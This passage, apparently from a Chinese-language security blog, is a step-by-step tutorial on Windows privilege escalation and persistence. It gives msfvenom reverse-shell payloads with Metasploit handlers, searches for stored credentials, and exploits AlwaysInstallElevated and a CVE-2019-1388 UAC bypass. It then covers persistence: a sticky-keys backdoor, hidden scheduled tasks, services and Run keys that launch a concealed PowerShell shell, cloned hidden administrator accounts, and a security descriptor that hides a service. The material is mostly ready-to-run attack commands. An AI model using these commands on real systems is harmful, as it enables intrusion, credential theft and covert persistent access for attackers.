reg add HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated /t REG_DWORD /d 1 /f

3.6.3 提权复现

MSF

首先利用msf上线

msfvenom -p windows/meterpreter/reverse_tcp LHOST=目标机IP LPORT=4567 -f
exe -o payload.exe ##生成木马##
##开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.41.134
set lport 4567
exploit

使用提权模块

use exploit/windows/local/always_install_elevated

设置session后即可run

如果未成功,则生成msi文件然后上传上去运行

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.41.134 LPORT=6789 -f msi -o payload.msi ##生成msi文件##

建立监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.41.134
set lport 6789
exploit

靶机执行如下命令

msiexec.exe /quiet /qn /i payload.msi

3.7 泄露敏感信息提权

3.7.1 提权原理

获得最高权限的账号密码,或者票据,即可通过认证进而执行最高权限的命令。

3.7.2 提权准备

配置文件泄露

一些管理员会在系统上留下包含密码的配置文件,Unattend.xml文件就是一个例子,它允许对 Windows系统进行大部分自动化设置搜索配置文件。
以下命令可递归式搜索当前目录中以pass为名的文件,或以.config结尾

dir /s *pass* == *.config
findstr /si password *.xml *.ini *.txt

本地凭证泄露

Windows 具有runas 命令,允许用户使用其他用户的权限运行命令,如果在本地中发现了凭证,就可以利用他提权。

第一次输入的时候,会提示要输入密码

runas /savecred /user:administrator cmd

如果管理员输入过密码之后,凭证就保留在系统中了。

可以执行如下命令查看

cmdkey /list

接着我们就可以使用命令提权,下次运行此命令就不需要密码

runas /savecred /user:administrator cmd

其他文件泄露

3.7.3 提权复现

首先靶机上线。

收集电脑上的信息和相关配置文件

cmdkey /list
dir /a /s /b C:\Unattend.xml
dir /a /s /b d:\"*.txt"
dir /a /s /b d:\"*.xml"
dir /a /s /b d:\"*.mdb"
dir /a /s /b d:\"*.sql"
dir /a /s /b d:\"*.mdf"
dir /a /s /b d:\"*.eml"
dir /a /s /b d:\"*.pst"
dir /a /s /b d:\"*conf*"
dir /a /s /b d:\"*bak*"
dir /a /s /b d:\"*pwd*"
dir /a /s /b d:\"*pass*"
dir /a /s /b d:\"*login*"
dir /a /s /b d:\"*user*"

比如存在凭证和Unattend.xml文件,那么就可以利用账号密码或者凭证进行提权。

利用账号密码提权

psexec.exe administrator:Admin@123@本地IP "C:\Users\apache\Desktop\123.exe"

利用凭证提权

runas /savecred /user:administrator 123.exe

3.8 启动项提权

3.8.1 提权原理

windows启动项目录下的脚本可以开机自启,利用这一个特性向上述的目录传入恶意的脚本达到提权的目的,前提是有目录或者注册表的更改权限

3.8.2 提权准备

查询文件夹权限

shell accesschk.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"

如果有RW权限才行。

3.8.3 提权复现

首先靶机上线。

提权的程序复制到该目录下,等待靶机重启即可。

3.9 UAC提权

3.9.1 UAC概述

什么是UAC

UAC(User Account Control),用户帐户控制。主要功能是进行一些会影响系统安全的操作时,会自动触发UAC,用户确认后才能执行。

因为大部分的恶意软件、木马病毒、广告插件在进入计算机时都会有如:将文件复制到Windows或Program Files等目录、安装驱动、安装ActiveX等操作,而这些操作都会触发UAC,用户都可以在UAC提示时来禁止这些程序的运行。

UAC触发的条件

修改Windows Update配置;
增加或删除用户帐户;
改变用户的帐户类型;
改变UAC设置;
安装ActiveX;
安装或卸载程序;
安装设备驱动程序;
修改和设置家长控制;
增加或修改注册表;
将文件移动或复制到Program Files或是Windows目录;
访问其他用户目录

UAC的设置

UAC设置分四种,分为始终通知、仅在程序尝试对我的计算机进行更改时通知我、仅当程序尝试更改计算机时通知我(不降低桌面亮度)和从不通知。输入W+R --msconfig设置UAC

3.9.2 CVE-2019-1388 UAC提权

漏洞概述

CVE-2019-1388 UAC提权是一个Windows证书对话框特权提升漏洞,此漏洞是因为 UAC(用户账户控制)机制的设定不严导致的。默认情况下,Windows UAC 提示本身是由名为 consent.exe 的可执行文件生成的,该可执行文件以 NT AUTHORITY\SYSTEM 身份运行并且有 System 的完整性水平。由于用户可以与此UI 进行交互,因此有必要对 UI 进行严格限制。否则,低特权用户可能能够通过UI操作提权到system权限

漏洞影响的版本

windows server机器
Windows 2008r2 7601
Windows 2012r2 9600
Windows 2016 14393
Windows 2019 17763
windows 个人电脑
Windows 7 SP1 7601
Windows 8 9200
Windows 8.1 9600
Windows 10 1511 10240
Windows 10 1607 14393
Windows 10 1703 15063
Windows 10 1709 16299

漏洞复现

创建一个低权限账户

net user test 123-abc /add
runas /user:test cmd  ##切换test用户cmd界面##

下载触发UAC的程序并以管理员身份运行:HHUPD.EXE,下载地址

弹出用户账户控制对话框后,点击显示详细信息,显示有关此发布者的证书信息。

点击下方颁发者右侧的超链接,(此时需要关闭证书信息对话框)等待一段时间ie浏览器会自动运行,并访问该链接,这时出现404或链接无法访问,此时浏览器以system权限运行。

将该网页直接另存为文件,输入位置C:\Windows\System32*.* ,点击回车进入到目录,在保存网页对话框中选择 cmd.exe 右键选择打开,此时查看权限,已经是system权限。

4 Windows权限维持

4.1 shift后门

4.1.1 shift粘滞键

Windows系统按5下shift后,Windows就执行了system32下的sethc.exe,也就是启用了粘滞键。

查看此程序的运行权限发现是当前用户。

4.1.2 维持原理

但是当我们未登陆系统(停留在登陆界面)的时候系统还不知道我们将以哪个用户登陆,所以在这个时候连续按5次shift后的话系统将会以system用户(具有管理员级别的权限)来运行sethc.exe这个程序。

此时,如果把cmd.exe这个程序更名为sethc.exe并替换掉该程序,那么在登陆界面的时候我们连续按下5次shift键,系统就会以system权限运行我们的cmd.exe,于是就可以以管理员权限执行命令。

4.1.3 维持过程

在命令行行执行以下命令,复制cmd.exesethc.exe

copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe

但是会提示拒绝访问,此时需要更改文件权限

## 强制将当前目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)
takeown /f c:\windows\system32\*.* /a /r /d y
## 在当前目录下的文件、子文件夹的NTFS权限上添加管理员组(administrators)完全控制权限(并不删除原有所有NTFS权限设置)
cacls c:\windows\system32\*.* /T /E /G administrators:F

然后再执行复制命令即可。

4.2 计划任务维持

4.2.1 使用schtasks命令

SCHTASKS /parameter [arguments]
描述:允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务。
参数列表:
		 /Create 创建新计划任务
		 /Delete 删除计划任务
		 /Query 显示所有计划任务。
		 /Change 更改计划任务属性。
		 /Run 按需运行计划任务。
		 /End 中止当前正在运行的计划任务。
		 /ShowSid 显示与计划的任务名称相应的安全标识符。
		 /? 显示此帮助消息。

应用举例

##1.在每个任意用户登录中以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onlogon /ru System
##2.在系统启动期间或用户会话处于非活动状态(空闲模式)时执行
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onidle /i 30
##3.在系统启动的时候以SYSTEM的形式执行计划任务:
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc onstart /ru System
##4.计划任务以 System 权限每10分钟运行一次
schtasks /create /tn 计划任务名 /tr "计划任务执行文件命令" /sc minute/mo 10 /ru system

这里利用当系统开机的时候运行计划任务进行权限维持

schtasks /create /tn shell /tr "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
-w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1" /sc onstart /ru System
## shell.psl,顾 名思义

4.2.2 使用at命令

\\computername     #指定远程计算机。如果省略这个参数,会计划在本地计算机上运行命令。
id                 #指定给已计划命令的识别号。
/delete            #删除某个已计划的命令。如果省略 id,计算机上所有已计划的命令都会被删除。
/yes               #不需要进一步确认时,跟删除所有作业的命令一起使用。
time               #指定运行命令的时间。
/interactive       #允许作业在运行时,与当时登录的用户桌面进行交互。
/every:date[,...]  #指定在每周或每月的特定日期运行命令 如果省略日期,则默认为在每月的本日运行。
/next:date[,...]   #指定在下一个指定日期(如,下周四)运行命令。如果省略日期,则默认为在每月的本日运行。
"command"          #准备运行的 Windows NT 命令或批处理程序。

应用举例

at 1:00AM /Every:Saturday 1.bat       #在每个周六1:00点,电脑定时启动1,bat批处理文件。

这里通过计划任务执行恶意就脚本进行权限维持

恶意脚本内容:

@echo off
powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1
exit

###################################
##  -w 隐藏窗口
##  -ExecutionPolicy Bypass 绕过策略
##  -NoExit 不退出
###################################

添加计划任务

at 00:00 C:\Users\Administrator\Desktop\keep\1.bat

4.3 账号克隆

4.3.1 $符号隐藏用户

符号隐藏用户就是在一个用户名后面添加 符号隐藏用户就是在一个用户名后面添加 符号隐藏用户就是在一个用户名后面添加符号,如(hack$)达到简单的隐藏用户目的,从而进行简单的权限维持

查看操作系统中有几个用户

net user

创建隐藏用户

net user hack$ Admin@123 /add

这时通过net user命令无法查看到新建的用户,但通过控制面板还是可以看到该用户。

4.3.2 注册表克隆用户隐藏

打开注册表,找到该路径:

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names\

右击刚才新建的隐藏用户,导出到一个位置,会生成一个hack$.reg文件。

HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users中的administrator中的F键值复制,粘贴到hack$对应的F值中。一定要看清楚路径!

还是在Names路径下,将hack$对应的数据导出来,保存为hack$1.reg,到目前位置已经生成了两个reg文件。

现在通过net命令删除hack$用户

net user hack$ /delete

接着再运行两个刚才生成的reg文件即可。

此时使用命令或者【账户管理】或者【计算机管理】都不会发现hack$用户,但是注册表和wmic命令还是可以查看的到。

wmic useraccount get name

4.4 启动项维持

4.4.1 组策略维持

【Windows设置】→【脚本(启动/关机)】→【启动】就可以进行设置,比如添加脚本。

4.4.2 启动文件夹维持

启动文件夹:
C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup 系统级,需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup 用户级 普通用户就可以
组策略脚本启动文件夹:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff

脚本放入指定文件夹即可。

4.4.3 注册表维持

将Payload文件植入具备自启动特性的注册表中,这样Payload就会在计算机启动过程被执行。

# HKEY_LOCAL_MACHINE类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
# HKEY_CURRENT_USER类
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce

利用方式是,使用reg add 命令进行添加

REG ADD KeyName [/v ValueName | /ve] [/t Type] [/s Separator] [/d Data] [/f] [/reg:32 | /reg:64]
		KeyName [\\Machine\]FullKey
		Machine #远程机器名 忽略默认到当前机器。远程机器上,只有 HKLM 和 HKU 可用。
		FullKey ROOTKEY\SubKey
		ROOTKEY [ HKLM | HKCU | HKCR | HKU | HKCC ]
		SubKey #所选 ROOTKEY 下注册表项的完整名称。
/v  #所选项之下要添加的值名称。
/ve #为注册表项添加空白值名称(默认)。
/t  #RegKey 数据类型  [ REG_SZ | REG_MULTI_SZ | REG_EXPAND_SZ | REG_DWORD | REG_QWORD | REG_BINARY | REG_NONE ] 如果忽略,则采用 REG_SZ。
/s  #指定一个在 REG_MULTI_SZ 数据字符串中用作分隔符的字符,如果忽略,则将 "\0" 用作分隔符。
/d  #要分配给添加的注册表 ValueName 的数据。
/f  #不用提示就强行覆盖现有注册表项。
/reg:32 #指定应该使用 32 位注册表视图访问的注册表项。
/reg:64 #指定应该使用 64 位注册表视图访问的注册表项。

测试命令

reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v shell /t REG_SZ /d "C:\Users\Administrator\Desktop\keep\1.bat"

4.5 创建服务维持

所用到的命令

#描述: 在注册表和服务数据库中创建服务项。
#用法: sc <server> create [service name] [binPath= ] <option1> <option2>...
#注意: 选项名称包括等号。等号和值之间需要一个空格。
#选项:
		type= <own|share|interact|kernel|filesys|rec|userown|usershare>(默认 = own)
		start= <boot|system|auto|demand|disabled|delayedauto>(默认 = demand)
		error= <normal|severe|critical|ignore>(默认 = normal)
		binPath= <.exe 文件的 BinaryPathName>
		group= <LoadOrderGroup>
		tag= <yes|no>
		depend= <依存关系(/ (斜杠)分隔)>
		obj= <AccountName|ObjectName>(默认= LocalSystem)
		DisplayName= <显示名称>
		password= <密码>

创建服务并自启动

#1、创建服务
sc create shell start= auto binPath= "cmd.exe /k powershell.exe -w
hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1" obj= Localsystem
#2、对该服务进行简单伪装
sc description "shell" "绝对安全的shell"
#3、设置服务的自动启动
sc config "shell" start= auto
#4、然后启动该服务
net start "服务名"

使用以下命令将创建的服务隐藏,这样不论是在服务中,还是使用命令都查不到这个服务

sc sdset shell "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA) (A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY) (A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

可以使用以下的命令进行恢复

sc sdset shell "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA) (A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值